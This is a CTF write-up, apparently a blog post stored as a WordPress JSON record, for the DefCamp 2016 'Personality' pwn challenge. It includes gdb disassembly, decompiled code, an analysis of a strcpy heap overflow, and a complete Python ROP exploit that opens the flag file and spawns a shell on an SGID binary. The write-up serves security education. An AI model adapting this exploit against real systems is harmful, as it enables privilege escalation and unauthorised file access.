{"id":13536,"date":"2016-11-15T18:00:26","date_gmt":"2016-11-15T17:00:26","guid":{"rendered":"http:\/\/codisec.com\/?p=13536"},"modified":"2016-12-01T22:21:42","modified_gmt":"2016-12-01T21:21:42","slug":"dctf-2016-personality","status":"publish","type":"post","link":"https:\/\/codisec.com\/dctf-2016-personality\/","title":{"rendered":"Personality"},"content":{"rendered":"
CTF: DefCamp CTF Finals 2016 ssh user@server The program reads string from argv[1] and saves it in two structures on the heap. There is a buffer overflow vulnerability, which we use to gain control over the program and use ROP to read the flag file.<\/p>\n The provided binary is 64-bit elf, dynamically linked and stripped. Let’s look at the entery point:<\/p>\n And main function:<\/p>\n We have interesting fragment at the begining: call to http:\/\/man7.org\/linux\/man-pages\/man2\/personality.2.html<\/a>, which, with the given argument, disables ASLR. Since ASLR was disabled on server this did nothing. There are two functions calls to inspect. First gets as its only argument freshly allocated memory and just sets some pointer at the begining of it.<\/p>\n Second gets pointer to heap as its first argument and argv[1] as second. This function copies argv[1] into our memory at offset 8.<\/p>\n It uses strcpy without any validation of source length. Main functions calls new(0x28) two times and due to overflow we can overwrite second allocated buffer by providing long enough string to overflow first.<\/p>\n After calling those functions we have a call to a pointer located in the first 8 bytes of allocated memory (note that there is 0x10 added to that pointer first). We had ssh credentials and the binary had SGID bit set on. Our goal was to read file with flag inside it (this file was owned by same group as binary). Here is dump of gadgets in servers libc: Exploit:<\/p>\n Empty strings are used to get NULL byte on stack (stack and libc addresses have two NULL bytes as their most significant bytes). Run it:<\/p>\n To get the flag: CTF: DefCamp CTF Finals 2016 Binary: dctf-2016-exp300 Libc: libc Points: 300 Category: PWN Description ssh user@server get flag TL;DR The program reads string from argv[1] and saves it in two structures on the heap. There is a buffer overflow vulnerability,…<\/span> <\/p>\n <\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,23],"tags":[7],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n
\nBinary: dctf-2016-exp300<\/a>
\nLibc: libc<\/a>
\nPoints: 300
\nCategory: PWN<\/p>\nDescription<\/h2>\n
\nget flag<\/p><\/blockquote>\nTL;DR<\/h2>\n
The research<\/h2>\n
(gdb) x\/12i 0x400730\r\n 0x400730:\txor %ebp,%ebp\r\n 0x400732:\tmov %rdx,%r9\r\n 0x400735:\tpop %rsi\r\n 0x400736:\tmov %rsp,%rdx\r\n 0x400739:\tand $0xfffffffffffffff0,%rsp\r\n 0x40073d:\tpush %rax\r\n 0x40073e:\tpush %rsp\r\n 0x40073f:\tmov $0x400a50,%r8\r\n 0x400746:\tmov $0x4009e0,%rcx\r\n 0x40074d:\tmov $0x400826,%rdi <- this is pointer to main\r\n 0x400754:\tcallq 0x4006d0 \r\n<\/pre>\n
(gdb) x\/70i 0x400826\r\n 0x400826:\tpush %rbp\r\n 0x400827:\tmov %rsp,%rbp\r\n 0x40082a:\tpush %rbx\r\n 0x40082b:\tsub $0x28,%rsp\r\n 0x40082f:\tmov %edi,-0x24(%rbp)\r\n 0x400832:\tmov %rsi,-0x30(%rbp)\r\n 0x400836:\tmov $0x40000,%edi\r\n 0x40083b:\tcallq 0x4006e0 <personality@plt>\r\n 0x400840:\tcallq 0x400700 <fork@plt>\r\n 0x400845:\ttest %eax,%eax\r\n 0x400847:\tsetne %al\r\n 0x40084a:\ttest %al,%al\r\n 0x40084c:\tje 0x400858\r\n 0x40084e:\tmov $0x0,%eax\r\n 0x400853:\tjmpq 0x40090b\r\n 0x400858:\tcmpl $0x1,-0x24(%rbp)\r\n 0x40085c:\tjg 0x400872\r\n 0x40085e:\tmov $0x400a7a,%edi\r\n 0x400863:\tcallq 0x4006b0 <puts@plt>\r\n 0x400868:\tmov $0x1,%eax\r\n 0x40086d:\tjmpq 0x40090b\r\n 0x400872:\tmov $0x28,%edi\r\n 0x400877:\tcallq 0x400710 <operator new(unsigned long)@plt>\r\n 0x40087c:\tmov %rax,%rbx\r\n 0x40087f:\tmov %rbx,%rdi\r\n 0x400882:\tcallq 0x400912\r\n 0x400887:\tmov %rbx,-0x18(%rbp)\r\n 0x40088b:\tmov $0x28,%edi\r\n 0x400890:\tcallq 0x400710 <operator new(unsigned long)@plt>\r\n 0x400895:\tmov %rax,%rbx\r\n 0x400898:\tmov %rbx,%rdi\r\n 0x40089b:\tcallq 0x400912\r\n 0x4008a0:\tmov %rbx,-0x20(%rbp)\r\n 0x4008a4:\tmov -0x30(%rbp),%rax\r\n 0x4008a8:\tadd $0x8,%rax\r\n 0x4008ac:\tmov (%rax),%rdx\r\n 0x4008af:\tmov -0x18(%rbp),%rax\r\n 0x4008b3:\tmov %rdx,%rsi\r\n 0x4008b6:\tmov %rax,%rdi\r\n 0x4008b9:\tcallq 0x400980\r\n 0x4008be:\tmov -0x30(%rbp),%rax\r\n 0x4008c2:\tadd $0x8,%rax\r\n 0x4008c6:\tmov (%rax),%rdx\r\n 0x4008c9:\tmov -0x20(%rbp),%rax\r\n 0x4008cd:\tmov %rdx,%rsi\r\n 0x4008d0:\tmov %rax,%rdi\r\n 0x4008d3:\tcallq 0x400980\r\n 0x4008d8:\tmov -0x18(%rbp),%rax\r\n 0x4008dc:\tmov (%rax),%rax\r\n 0x4008df:\tadd $0x10,%rax\r\n 0x4008e3:\tmov (%rax),%rax\r\n 0x4008e6:\tmov -0x18(%rbp),%rdx\r\n 0x4008ea:\tmov %rdx,%rdi\r\n 0x4008ed:\tcallq *%rax\r\n 0x4008ef:\tmov -0x20(%rbp),%rax\r\n 0x4008f3:\tmov (%rax),%rax\r\n 0x4008f6:\tadd $0x10,%rax\r\n 0x4008fa:\tmov (%rax),%rax\r\n 0x4008fd:\tmov -0x20(%rbp),%rdx\r\n 0x400901:\tmov %rdx,%rdi\r\n 0x400904:\tcallq *%rax\r\n 0x400906:\tmov $0x0,%eax\r\n 0x40090b:\tadd $0x28,%rsp\r\n 0x40090f:\tpop %rbx\r\n 0x400910:\tpop %rbp\r\n 0x400911:\tretq\r\n<\/pre>\n
signed __int64 __fastcall main(signed int a1, char **a2, char **a3)\r\n{\r\n signed __int64 result; \/\/ rax@2\r\n __int64 v4; \/\/ rbx@5\r\n __int64 v5; \/\/ ST18_8@5\r\n __int64 v6; \/\/ rbx@5\r\n \r\n personality(0x40000uLL);\r\n if ( fork() != 0 )\r\n return 0LL;\r\n if ( a1 > 1 )\r\n {\r\n v4 = operator new(0x28uLL);\r\n sub_400912(v4);\r\n v5 = v4;\r\n v6 = operator new(0x28uLL);\r\n sub_400912(v6);\r\n sub_400980(v5, a2[1]);\r\n sub_400980(v6, a2[1]);\r\n (*(void (__fastcall **)(__int64))(*(_QWORD *)v5 + 16LL))(v5);\r\n (*(void (__fastcall **)(__int64))(*(_QWORD *)v6 + 16LL))(v6);\r\n result = 0LL;\r\n }\r\n else\r\n {\r\n puts(\"Wrong usage!\");\r\n result = 1LL;\r\n }\r\n return result;\r\n}\r\n<\/pre>\n
\nSide note: ASLR was turned on at the begining. We think the idea behind personality, fork was to turn ASLR off just on this binary, but that could not possibly work since fork copies (on-write) whole memory mappings. Maybe there was an exec call missing?:)<\/p>\n(gdb) x\/10i 0x400912\r\n 0x400912:\tpush %rbp\r\n 0x400913:\tmov %rsp,%rbp\r\n 0x400916:\tmov %rdi,-0x8(%rbp)\r\n 0x40091a:\tmov $0x400a98,%edx\r\n 0x40091f:\tmov -0x8(%rbp),%rax\r\n 0x400923:\tmov %rdx,(%rax)\r\n 0x400926:\tnop\r\n 0x400927:\tpop %rbp\r\n 0x400928:\tretq \r\n 0x400929:\tnop\r\n(gdb) x\/x 0x400a98\r\n0x400a98:\t0x0040092a\r\n<\/pre>\n
_QWORD *__fastcall sub_400912(_QWORD *a1)\r\n{\r\n _QWORD *result; \/\/ rax@1\r\n \r\n result = a1;\r\n *a1 = off_400A98;\r\n return result;\r\n}\r\n<\/pre>\n
(gdb) x\/14i 0x400980\r\n 0x400980:\tpush %rbp\r\n 0x400981:\tmov %rsp,%rbp\r\n 0x400984:\tsub $0x10,%rsp\r\n 0x400988:\tmov %rdi,-0x8(%rbp)\r\n 0x40098c:\tmov %rsi,-0x10(%rbp)\r\n 0x400990:\tmov -0x8(%rbp),%rax\r\n 0x400994:\tlea 0x8(%rax),%rdx\r\n 0x400998:\tmov -0x10(%rbp),%rax\r\n 0x40099c:\tmov %rax,%rsi\r\n 0x40099f:\tmov %rdx,%rdi\r\n 0x4009a2:\tcallq 0x4006f0 <strcpy@plt>\r\n 0x4009a7:\tnop\r\n 0x4009a8:\tleaveq \r\n 0x4009a9:\tretq \r\n<\/pre>\n
char *__fastcall sub_400980(__int64 a1, const char *a2)\r\n{\r\n return strcpy((char *)(a1 + 8), a2);\r\n}\r\n<\/pre>\n
\nSince we have previously mentioned memory overflow, we can gain control over the execution.<\/p>\nThe pwn<\/h2>\n
\nBecause \/bin\/sh was pointing to \/bin\/dash on the server we had to either run it with -p option (do not reset euid\/egid) or open the flag file with shellcode.
\nWe have chosen to open the file, spawn shell and read from file descriptor no. 3 (exec saves file descriptors).
\nThe server had ASLR turned off, which allowed to use fixed addresses on stack and in libc.
\nThe plan was to:<\/p>\n\n
\nrop gadgets<\/a><\/p>\nimport binascii\r\nimport os\r\n\r\n\r\ndef p64(x):\r\n return binascii.a2b_hex(hex(x)[2:])[::-1]\r\n\r\n\r\nbase_libc = 0x7ffff7a10000\r\nxor_edx = 0x6ee60\r\nxor_esi = 0xe995e\r\npop_rdi = 0x1fd7a\r\nbin_sh = 0x189fc0\r\nsystem_libc = 0x455aa\r\nopen_libc = 0xf7a40\r\nexecve_libc = 0xccb90\r\nstack_lift = 0x105977\r\n\r\nflag_addr = 0x7fffffffefb8\r\naddr_of_stack_lift_addr = flag_addr + 8 - 0x10\r\n\r\nmes = [\r\n \"a\"*0x28+p64(addr_of_stack_lift_addr),\r\n '',\r\n \"a\"*108 + p64(base_libc+xor_esi),\r\n '',\r\n p64(base_libc+pop_rdi),\r\n '',\r\n p64(flag_addr),\r\n '',\r\n p64(base_libc+open_libc),\r\n '',\r\n p64(base_libc+xor_edx),\r\n '',\r\n p64(base_libc+xor_esi),\r\n '',\r\n p64(base_libc+pop_rdi),\r\n '',\r\n p64(base_libc+bin_sh),\r\n '',\r\n p64(base_libc+execve_libc),\r\n '',\r\n \"flag\",\r\n '',\r\n \"a\"*2 + p64(base_libc+stack_lift),\r\n '',\r\n \"a\"*18,\r\n]\r\n\r\nos.execve(\".\/300.bin\", [\"300.bin\"] + mes, {\"LD_PRELOAD\":\".\/libc_\"})\r\n<\/pre>\n
\nThis version works locally, we just had to change base_libc address and flag_addr (stack) on the server (LD_PRELOAD was ignored on the server since there was no libc_).<\/p>\necho \"cat <&3\" | python rop.py\r\n<\/pre>\n
\nDCTF{a60354f3d3879d392df2e2da819d83e2}
\n<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"